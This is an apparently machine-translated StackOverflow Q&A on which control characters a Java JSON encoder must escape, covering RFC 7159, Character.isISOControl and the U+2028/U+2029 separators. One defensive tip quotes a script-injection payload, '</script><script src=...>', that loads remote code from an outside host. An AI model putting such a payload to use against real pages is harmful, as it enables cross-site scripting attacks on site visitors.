質問

私は車輪を再発明し、Java で独自の JSON 解析メソッドを作成しています。

私は(非常に素晴らしい!)ドキュメントに従っています。 json.org. 。私が確信していない唯一の部分は、それがどこに書かれているかです 「または制御文字」

ドキュメントは非常に明確で、JSON は非常にシンプルで実装が簡単なので、緩いのではなく、先に進んで仕様を要求しようと思いました。

どうすればいいでしょうか 正しく Javaで制御文字を削除しますか?おそらく Unicode の範囲があるのでしょうか?

enter image description here


編集:(よくあることですが?) パズルのピースが欠けている

知らされている の外に他の制御文字があること 定義された範囲 1 2 それは面倒なことになるかもしれない <script> タグ。

最も注目に値するのは、文字 U+2028 と U+2029、行区切り文字と段落区切り文字であり、改行として機能します。文字列リテラルの途中に改行を挿入すると、構文エラー (終了していない文字列リテラル) が発生する可能性が高くなります。 3

これは XSS の脅威にはならないと思いますが、それでも、 <script> タグ。

  • シンプルにして、「ASCII 印刷可能」以外の文字をすべてエンコードしてください。 \u 表記。それらのキャラクターはそもそも珍しいです。必要に応じてホワイトリストに追加することもできますが、ホワイトリストのアプローチをお勧めします。
  • ご存知ない方のために、 忘れてはいけない について </script (大文字と小文字は区別されません)。 HTML スクリプト インジェクションが発生する可能性があります キャラクターと一緒にあなたのページへ </script><script src=http://tinyurl.com/abcdef>. 。デフォルトでは、これらの文字はいずれも JSON でエンコードされません。
役に立ちましたか?

解決

意思 Character.isISOControl(...) する?ちなみに、UTF-16はUnicodeコードポイントのエンコーディングです...バイト レベルで操作するつもりですか、それとも文字/コードポイント レベルで操作しますか?UTF-16 から文字ストリームへのマッピングを Java のコア API に残すことをお勧めします...

他のヒント

あまり具体的ではないにしても、 「コントロール」キャラクターカテゴリ Unicode仕様から。

Java では、文字が c は、次の式を持つ Unicode 制御文字です。 Character.getType(c) == Character.CONTROL.

私は信じている 制御文字の Unicode 定義 は:

U+0000..U+001F および U+007F..U+009F の範囲の 65 文字。

それが彼らの定義です 制御コード, しかし、上記の後に次の文が続きます。 「制御文字とも呼ばれます。」, 、 それで...

この質問が数年前に行われたことは知っていますが、受け入れられた回答が正しくないため、とにかく回答します。

Character.isISOControl(int codePoint) 

次のチェックを行います。

(codePoint >= 0x00 && codePoint <= 0x1F) || (codePoint >= 0x7F && codePoint <= 0x9F);

JSON 仕様では次のように定義されています。 https://tools.ietf.org/html/rfc7159:

  1. 文字列

    文字列の表現は、C 言語の プログラミング言語のファミリー。文字列は 引用符。すべてのUnicode文字は、 引用符 (エスケープする必要がある文字を除く):引用符、逆立体線、および 制御文字 (U+0000 U+001F まで)。

Character.isISOControl(int codePoint) 

エスケープする必要があるすべての文字にフラグを立てます (U+0000-U+001F), ただし、エスケープする必要のない文字にもフラグを立てます。 (U+007F-U+009F). 。文字をエスケープする必要はありません (U+007F-U+009F).

ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top